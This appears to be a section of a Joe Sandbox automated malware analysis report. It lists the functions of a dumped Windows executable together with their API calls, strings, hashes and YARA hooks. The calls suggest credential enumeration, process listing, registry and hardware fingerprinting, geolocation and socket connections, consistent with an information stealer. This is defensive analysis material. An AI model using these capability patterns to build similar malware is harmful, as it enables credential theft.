inet_pton.WS2_32 ref: 0000000140077A04
connect.WS2_32 ref: 0000000140077A1E
closesocket.WS2_32 ref: 0000000140077A34
WSACleanup.WS2_32 ref: 0000000140077A3A

Part of subcall function 0000000140076A50: SHGetKnownFolderPath.SHELL32 ref: 0000000140076AA9
Part of subcall function 0000000140076A50: CoTaskMemFree.OLE32 ref: 0000000140076B6A

Strings

geo, xrefs: 0000000140077946
system, xrefs: 0000000140077905

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Info$CleanupFolderFreeKnownPathStartupTaskUserclosesocketconnecthtonsinet_ptonsocket
String ID: geo$system
API String ID: 469733038-2364779556
Opcode ID: 059cba8b157c87e81c776789e31625f2371d346e6c8dfda53bd724b49c1f01bb
Instruction ID: 8e9467e575cce1f4fcad52bc0cce26140f8a2cb03e3f0a27ea38b4210fb68b06
Opcode Fuzzy Hash: 059cba8b157c87e81c776789e31625f2371d346e6c8dfda53bd724b49c1f01bb
Instruction Fuzzy Hash: 44B16A72B11B4099FB02DBA6E4903DD3372A748BE8F415216EB5D2B6B9EB38C556C340

Function 00000001400BC218 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400BBDF8: _invalid_parameter_noinfo.LIBCMT ref: 00000001400BBE39
Part of subcall function 00000001400BBDF8: _invalid_parameter_noinfo.LIBCMT ref: 00000001400BBEB9
Part of subcall function 00000001400BBDF8: _invalid_parameter_noinfo.LIBCMT ref: 00000001400BBF0D
Part of subcall function 00000001400BBDF8: _get_daylight.LIBCMT ref: 00000001400BBF65

CreateFileW.KERNEL32 ref: 00000001400BC31E
CreateFileW.KERNEL32 ref: 00000001400BC36E
GetLastError.KERNEL32 ref: 00000001400BC39E
GetFileType.KERNEL32 ref: 00000001400BC3B3
GetLastError.KERNEL32 ref: 00000001400BC3BD
CloseHandle.KERNEL32 ref: 00000001400BC3F0
CloseHandle.KERNEL32 ref: 00000001400BC554
CreateFileW.KERNEL32 ref: 00000001400BC589
GetLastError.KERNEL32 ref: 00000001400BC598

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: 6834bf7e2c5a4e43a5153222154aa821744e12b776a4e5df19d1db0543b86cff
Instruction ID: 2400ce5abb7f630c19717e6ed24876b630cbd6c53283576e13b355a578458c61
Opcode Fuzzy Hash: 6834bf7e2c5a4e43a5153222154aa821744e12b776a4e5df19d1db0543b86cff
Instruction Fuzzy Hash: 29C17B36720E4486EB11CFAAD4917ED3771E78DBE8F014219EB2A9B7A4DB34C556C340

Function 00000001400816E0 Relevance: 13.6, APIs: 9, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0000000140081744
GetProcessId.KERNEL32 ref: 000000014008174D
RmStartSession.RSTRTMGR ref: 000000014008177C
RmRegisterResources.RSTRTMGR ref: 00000001400817A7
RmGetList.RSTRTMGR ref: 00000001400817E0
RmGetList.RSTRTMGR ref: 0000000140081842
RmEndSession.RSTRTMGR ref: 000000014008188B

Part of subcall function 00000001400A9B70: AcquireSRWLockExclusive.KERNEL32 ref: 00000001400A9B80

RmEndSession.RSTRTMGR ref: 00000001400818C3
RmEndSession.RSTRTMGR ref: 00000001400818D8

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Session$ListProcess$AcquireCurrentExclusiveLockRegisterResourcesStart
String ID:
API String ID: 779856957-0
Opcode ID: 8bb7912290508ce8e88e3aaa07301283af1f89745b5405751b14ca5c1f9e5710
Instruction ID: 53b25bd5857afa0adccecd5323b097c20916bf7b3c0f165211610be25f83b61c
Opcode Fuzzy Hash: 8bb7912290508ce8e88e3aaa07301283af1f89745b5405751b14ca5c1f9e5710
Instruction Fuzzy Hash: 1251EA32B04A408AF715DFA6E4547ED73B5FB8C794F804529EB0A63BA8DE34C946CB50

Function 00000001400765D0 Relevance: 9.0, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 0000000140076613
EnterCriticalSection.KERNEL32 ref: 0000000140076625
EnterCriticalSection.KERNEL32 ref: 0000000140076635
GdiplusShutdown.GDIPLUS ref: 0000000140076643
LeaveCriticalSection.KERNEL32 ref: 0000000140076650
LeaveCriticalSection.KERNEL32 ref: 000000014007665A

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CriticalSection$EnterLeave$DeleteGdiplusObjectShutdown
String ID:
API String ID: 4268643673-0
Opcode ID: d30fa97d25b30040903c896763b34352f449627e961995d8f8dec80d22df3c23
Instruction ID: 8a8879636937726213d256da63e2acee3874314be20df8b71bbfc014c3c2afad
Opcode Fuzzy Hash: d30fa97d25b30040903c896763b34352f449627e961995d8f8dec80d22df3c23
Instruction Fuzzy Hash: 4911F532112B5081EB559F26F89439D73A4FB48FA8F684215EB6E076B4DF38C9A7C350

Function 00000001400773A0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00000001400773DB
OpenProcessToken.ADVAPI32 ref: 00000001400773EE
GetTokenInformation.ADVAPI32 ref: 000000014007742A
CloseHandle.KERNEL32 ref: 000000014007744B

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: ef49ddb1ddd7164590c42208bf10f4cc77ba0bfa614ad2019f69ccc4385f50ed
Instruction ID: 18b2a2583657b35ee9209c3dde09c8a115d2f9d62867d95ebc4690e525d54a35
Opcode Fuzzy Hash: ef49ddb1ddd7164590c42208bf10f4cc77ba0bfa614ad2019f69ccc4385f50ed
Instruction Fuzzy Hash: B611E932219B8086E7519F16F84078AB7A0FB89BC0F949126FB9D57B68CF3CC456CB40

Function 000000014007DFD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegGetValueA.ADVAPI32 ref: 000000014007E039

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 000000014007E02B
ProductName, xrefs: 000000014007E024

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Value
String ID: ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 3702945584-1787575317
Opcode ID: 576cd30aba55f3842207aa2485d313445215fb856a716db7fe162e5e19891f38
Instruction ID: a4b0ef12f94d62d88fbacb8910d1321fab3fd413e5af6e1630ae25f216ec36bd
Opcode Fuzzy Hash: 576cd30aba55f3842207aa2485d313445215fb856a716db7fe162e5e19891f38
Instruction Fuzzy Hash: 8D112132618B8086EB218F22F44139AB3A4F79DB94F504215EB9847B69DFBCC195CB40

Function 000000014007C967 Relevance: 4.7, APIs: 3, Instructions: 182networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 000000014007CC9C
closesocket.WS2_32 ref: 000000014007CCAE
WSACleanup.WS2_32 ref: 000000014007CCB4

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Cleanupclosesocketrecv
String ID:
API String ID: 3447645871-0
Opcode ID: ca46c51d9291c3ecb675d3b539c8edb50a6ecfd279a0e77f850dc8e1ad2f4ab6
Instruction ID: eab709b2a91d71219dc338bdc8a0427637c2479730885535d0f181a11fd59591
Opcode Fuzzy Hash: ca46c51d9291c3ecb675d3b539c8edb50a6ecfd279a0e77f850dc8e1ad2f4ab6
Instruction Fuzzy Hash: 4D917CB3A14BC481EA228B66E4447DE6761E7997E0F504316EBAD17AEADF7CC480C700

Function 000000014007ECC1 Relevance: 4.7, APIs: 3, Instructions: 163registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 000000014007ECD9
RegEnumKeyExA.ADVAPI32 ref: 000000014007ED1E
RegCloseKey.ADVAPI32 ref: 000000014007EF14

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CloseEnumOpen
String ID:
API String ID: 1332880857-0
Opcode ID: 42344aab400cfaadf394c84f545d8e43a26e799f20a31b4eee69bd3dba440f58
Instruction ID: 00c63e96622fe58056b134ab382f664d7db465f44603d43fd8bfb30478044826
Opcode Fuzzy Hash: 42344aab400cfaadf394c84f545d8e43a26e799f20a31b4eee69bd3dba440f58
Instruction Fuzzy Hash: D5717E72A04B8485EB21CB6AE44439EB761F7997E8F104316FBA917AE9DB78C1C1C700

Function 000000014007EC50 Relevance: 4.6, APIs: 3, Instructions: 96registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 000000014007ECD9
RegEnumKeyExA.ADVAPI32 ref: 000000014007ED1E

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: EnumOpen
String ID:
API String ID: 3231578192-0
Opcode ID: dc2a33b660cd6048a5e7e075a00a4d1af131d9557838307254cbb15d219bc776
Instruction ID: d99dd46795cba76a18b6d2adc5ebc249d08e68adb2bc3dba870c2fbf3ce0d704
Opcode Fuzzy Hash: dc2a33b660cd6048a5e7e075a00a4d1af131d9557838307254cbb15d219bc776
Instruction Fuzzy Hash: 2331AD32611B8486E722CFA2E850B9E7764F7887D8F600216EF9917BA4DF38C592C700

Function 000000014007E98B Relevance: 4.6, APIs: 3, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 000000014007E9A7
RegQueryValueExA.ADVAPI32 ref: 000000014007E9E6
RegCloseKey.ADVAPI32 ref: 000000014007EA84

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 66f460bb4f646d9a62420201e5f8489e046d5095562e7a93e623191fdfc52f50
Instruction ID: c3e250c8b4c2848e291f8a15b8f2a07f81789114fb1aa71ab368e6c187887dba
Opcode Fuzzy Hash: 66f460bb4f646d9a62420201e5f8489e046d5095562e7a93e623191fdfc52f50
Instruction Fuzzy Hash: 23218172715B8491EA62CB26E4503AEA760FBDD7D4F505212FB8D43AB9EE3CD184CB40

Function 000000014007D440 Relevance: 4.6, APIs: 3, Instructions: 50COMMON

Download Yara Rule

APIs

GetUserGeoID.KERNEL32 ref: 000000014007D467
GetGeoInfoA.KERNEL32 ref: 000000014007D481
GetGeoInfoA.KERNEL32 ref: 000000014007D4D1

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Info$User
String ID:
API String ID: 2017065092-0
Opcode ID: dabddd6c895e2f52a57a7818505f9d76ff45043fc459ccda3d8ac0e690d592da
Instruction ID: 90fee48f990a536c98e20aba751c2c9c04ba674589e67a0b677829bb88304ab3
Opcode Fuzzy Hash: dabddd6c895e2f52a57a7818505f9d76ff45043fc459ccda3d8ac0e690d592da
Instruction Fuzzy Hash: A211C17261478183E7118F62F42475EB7A1FB84FC8F045225EB8903B69DF7CD4908B84

Function 00000001400A0050 Relevance: 4.5, APIs: 3, Instructions: 15COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00000001400A0061
TerminateProcess.KERNEL32 ref: 00000001400A006C
ExitProcess.KERNEL32 ref: 00000001400A007B

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c5e04496f828e61d634400119f310d7078e9af1bf9ca9274a76f0b4b113410d8
Instruction ID: f9243dcb0947786e921359f981b604d51b7b47a816461f64490f77957be4224f
Opcode Fuzzy Hash: c5e04496f828e61d634400119f310d7078e9af1bf9ca9274a76f0b4b113410d8
Instruction Fuzzy Hash: 66D09E3430170846FA5A6B736C957ED22255F5C7C1F04192C6B47073B3CD3D888E8610

Function 000000014003F210 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 000000014003F3FC

Strings

, xrefs: 000000014003F293

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-3916222277
Opcode ID: 9d662925928e40dc3bbffbaea0dd6d59d20737afc7189015b6fbc545210faa60
Instruction ID: a981a205836d7b9725245c82c35ce7c20dd13c8e2bec3eb01c485d5cb054b2d7
Opcode Fuzzy Hash: 9d662925928e40dc3bbffbaea0dd6d59d20737afc7189015b6fbc545210faa60
Instruction Fuzzy Hash: 52513472304B4496EB168F2AD5943AE37A0F748BD4F984622EF5E47BA0CF78D5A1D300

Function 0000000140045670 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000001400457CB

Strings

cannot use operator[] with a numeric argument with , xrefs: 0000000140045B99

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: cannot use operator[] with a numeric argument with
API String ID: 118556049-485864652
Opcode ID: 36f1bd1137df6e5df8f2adf7c0dea301ed8cb195776d97f9e5bd2aa064481276
Instruction ID: 5ed39cd970f3da3471a7114cda8519d5d7bf48897c2ee1ddb565b91127a7abb1
Opcode Fuzzy Hash: 36f1bd1137df6e5df8f2adf7c0dea301ed8cb195776d97f9e5bd2aa064481276
Instruction Fuzzy Hash: C731D272319B8085EE12AB27B5443DC6396E708BE5F590635FF6D0BBE6DA38C481C304

Function 000000014007E7E0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 000000014007E81C

Strings

Unknown, xrefs: 000000014007E8D6

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CurrentProfile
String ID: Unknown
API String ID: 2104809126-1654365787
Opcode ID: 84af72ff015fe5e630872b959f4c077e317d5b2c424c6600391211d0d1ad29ad
Instruction ID: 2df4d503fb94b901bbb3591b6d9df59f6543af604a458be958b3d62f3549f16d
Opcode Fuzzy Hash: 84af72ff015fe5e630872b959f4c077e317d5b2c424c6600391211d0d1ad29ad
Instruction Fuzzy Hash: 01319E33628BC086E7528F22E5403DAA760F7DDB84F546215FBC917A6ADB7CC695CB00

Function 0000000140076A50 Relevance: 3.1, APIs: 2, Instructions: 87COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 0000000140076AA9
CoTaskMemFree.OLE32 ref: 0000000140076B6A

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: FolderFreeKnownPathTask
String ID:
API String ID: 969438705-0
Opcode ID: 1684a5d5d72220f0b319b8ee07babfe8d348e126415392acb8252001f255ea85
Instruction ID: 08cddd457017ed9c72ba9d518141911ad73ee79bdddd2d4fd5b26cada53b40a9
Opcode Fuzzy Hash: 1684a5d5d72220f0b319b8ee07babfe8d348e126415392acb8252001f255ea85
Instruction Fuzzy Hash: 73319372A14B8081E6218F26E48039EB360F79D7F4F505316FBAD43AA9DB7CC1818B40

Function 000000014008C104 Relevance: 3.1, APIs: 2, Instructions: 72COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000014008C12B

Part of subcall function 000000014008C0C0: _invalid_parameter_noinfo.LIBCMT ref: 000000014008C0D7

_invalid_parameter_noinfo.LIBCMT ref: 000000014008C1D8

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 75dacb89e764ecf40af59fcee7c22e2fbf6e8ba84ae5c27b2747cb5a966399e9
Instruction ID: 8be8243372e4bb7338c400875aec30a5fe64968161bb492a5739d17ce4fc8c58
Opcode Fuzzy Hash: 75dacb89e764ecf40af59fcee7c22e2fbf6e8ba84ae5c27b2747cb5a966399e9
Instruction Fuzzy Hash: 40217C3362064481EE56EB16E895BE93361F79ABD4F944216FB1A473F2EA39C259C300

Function 0000000140074FD0 Relevance: 3.1, APIs: 2, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 0000000140075021
RegCloseKey.ADVAPI32 ref: 0000000140075033

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CloseOpen
String ID:
API String ID: 47109696-0
Opcode ID: 7ec879cfecc611e1203277112fd56f06e17ca4e10c092f3590478b68c26c49ef
Instruction ID: ec14ba0587e031e24ade476592ff76ecaadcb2d768a7e792e5b1a87d2e94dd26
Opcode Fuzzy Hash: 7ec879cfecc611e1203277112fd56f06e17ca4e10c092f3590478b68c26c49ef
Instruction Fuzzy Hash: 35219F72711A8046FA51AB23E8503DAA360EB9DBD4F585121FB4D43BA9DE7CC481C780

Function 000000014007428C Relevance: 3.1, APIs: 2, Instructions: 58synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014003C7E0: CreateToolhelp32Snapshot.KERNEL32 ref: 000000014003C82A
Part of subcall function 000000014003C7E0: Process32FirstW.KERNEL32 ref: 000000014003C86C

Part of subcall function 000000014003ABE0: CredEnumerateA.ADVAPI32 ref: 000000014003AC42

Part of subcall function 000000014007C5E0: recv.WS2_32 ref: 000000014007C7BC

ReleaseMutex.KERNEL32 ref: 00000001400742FB
CloseHandle.KERNEL32 ref: 0000000140074304

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CloseCreateCredEnumerateFirstHandleMutexProcess32ReleaseSnapshotToolhelp32recv
String ID:
API String ID: 420082584-0
Opcode ID: a95dc5d5ef15029fcd2b0574fadad2914a79ac01f9338aeeee33af8351048c7e
Instruction ID: 7b9fc5bf202d6c660958987423c1e07503b58d6b0919fc9b46d6a515e610c1ca
Opcode Fuzzy Hash: a95dc5d5ef15029fcd2b0574fadad2914a79ac01f9338aeeee33af8351048c7e
Instruction Fuzzy Hash: 96215871A5468081FB23BBB7A4163EE6351AF8E7D0F445612FB99476F7DF3C80818622

Function 00000001400742BD Relevance: 3.0, APIs: 2, Instructions: 47synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014007C5E0: recv.WS2_32 ref: 000000014007C7BC

ReleaseMutex.KERNEL32 ref: 00000001400742FB
CloseHandle.KERNEL32 ref: 0000000140074304

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CloseHandleMutexReleaserecv
String ID:
API String ID: 2659716615-0
Opcode ID: 37fe1574eea0c9f6ca3d6e3a152be2d277d31c9587133a5d59b786691de19c7e
Instruction ID: 6f94cae61cdad2189cef370b3ba5221df8fa11a5c37ea0c6658456750868d446
Opcode Fuzzy Hash: 37fe1574eea0c9f6ca3d6e3a152be2d277d31c9587133a5d59b786691de19c7e
Instruction Fuzzy Hash: 14111871A1468181FB637B77A4063EE5250AB8E7D0F445611FB99476F7DF3CC1818611

Function 000000014009B264 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32 ref: 000000014009B2B0
GetLastError.KERNEL32 ref: 000000014009B2BA

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 74fd80307102959cdb4bb45340283f0b27aee8fd65d2f6709d6669cbca38fe3f
Instruction ID: e816577ed0fe5e9188ac3a7553593d5145fada9baf7cdf4296f147d26e6d8956
Opcode Fuzzy Hash: 74fd80307102959cdb4bb45340283f0b27aee8fd65d2f6709d6669cbca38fe3f
Instruction Fuzzy Hash: EE119E72314B8081EA518B26AA4439EA761E789FF4F544315FFB94B7F9CF78C0558740

Function 00000001400742E9 Relevance: 3.0, APIs: 2, Instructions: 37synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32 ref: 00000001400742FB
CloseHandle.KERNEL32 ref: 0000000140074304

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CloseHandleMutexRelease
String ID:
API String ID: 4207627910-0
Opcode ID: ec3ce944fe2b7dab9a0285051801a0729fd8b86deba4133f967af4d4639fbcea
Instruction ID: 4df68b0ff96a1f532fb189d16ae1a04ce7a62c23901e90ecebd86e927d313f56
Opcode Fuzzy Hash: ec3ce944fe2b7dab9a0285051801a0729fd8b86deba4133f967af4d4639fbcea
Instruction Fuzzy Hash: 6F017172B0068182FB62AB76B4053DD5250AB9D7E0F485311FBAD476F6DF3CC181C610

Function 00000001400A9BE8 Relevance: 3.0, APIs: 2, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000001400A9C18

Part of subcall function 00000001400AAB1C: std::bad_alloc::bad_alloc.LIBCMT ref: 00000001400AAB25

Concurrency::cancel_current_task.LIBCPMT ref: 00000001400A9C1E

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: 6ffe177f5157f79d277372c6ea1b39799971d2e5a1b5546f7eb344a9914ef09c
Instruction ID: 04523a235a29f71bc6c7b1a626fb6df20e7af0258fe547a34f32961bfb1e0df3
Opcode Fuzzy Hash: 6ffe177f5157f79d277372c6ea1b39799971d2e5a1b5546f7eb344a9914ef09c
Instruction Fuzzy Hash: 14E0177072150945FE2B22F318163E400801F6D3F0E2C1B207B750B2F3BE3488D58A20

Function 0000000140098C40 Relevance: 2.5, APIs: 2, Instructions: 18memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 0000000140098C56
GetLastError.KERNEL32 ref: 0000000140098C60

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1eb1d4d919d340514f52b5ee7c14653ab2b68de4ee8aa6cf9f2209b3c6d7e0a2
Instruction ID: b52fa26c04212aab859c5ae896bd543063644a9c8dd7e940ebd072c94055b3ed
Opcode Fuzzy Hash: 1eb1d4d919d340514f52b5ee7c14653ab2b68de4ee8aa6cf9f2209b3c6d7e0a2
Instruction Fuzzy Hash: D8E02BB4B0220142FF1B63F3A8983FD12815F9C7C0F040420BF0983372EE3888814714

Function 00000001400499D0 Relevance: 1.7, APIs: 1, Instructions: 192COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0000000140049B38

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 262988e283a6533bb62ca32c408bdee98319b4f77d8c59c475cc79f2bcb3ed43
Instruction ID: 5076d6ef26da5a0a9d8fbe5a1df259e5cc2c8fdb87d88c49ffc9d33ae3b776a9
Opcode Fuzzy Hash: 262988e283a6533bb62ca32c408bdee98319b4f77d8c59c475cc79f2bcb3ed43
Instruction Fuzzy Hash: 8D51CF72304B8481EE11CB57A9447AAA794F348BE4F568A35EFAD17BE5DB38C092C304

Function 000000014008AF60 Relevance: 1.7, APIs: 1, Instructions: 189COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 000000014008B1B0

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 022152b633a44c56d0489d336416a446aaf44c2a20f228475edfb9004910e0ec
Instruction ID: da5433d3288cf5a0a526c1d61247c75615e0e3a88a26d8c87c4e36aa5818ab75
Opcode Fuzzy Hash: 022152b633a44c56d0489d336416a446aaf44c2a20f228475edfb9004910e0ec
Instruction Fuzzy Hash: 23619A73301A9084EA269F1BD1583AE27A1F749FD8F548611EF6D0B7E5DE39CA86D300

Function 000000014002DEB0 Relevance: 1.7, APIs: 1, Instructions: 175COMMON

Download Yara Rule

APIs

__std_fs_directory_iterator_open.LIBCPMT ref: 000000014002DFE3

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: __std_fs_directory_iterator_open
String ID:
API String ID: 4007087469-0
Opcode ID: bee50609d48680672ec4ce2c0c4a1a451abafc65ea03e729ec3c053ffa5d7b5f
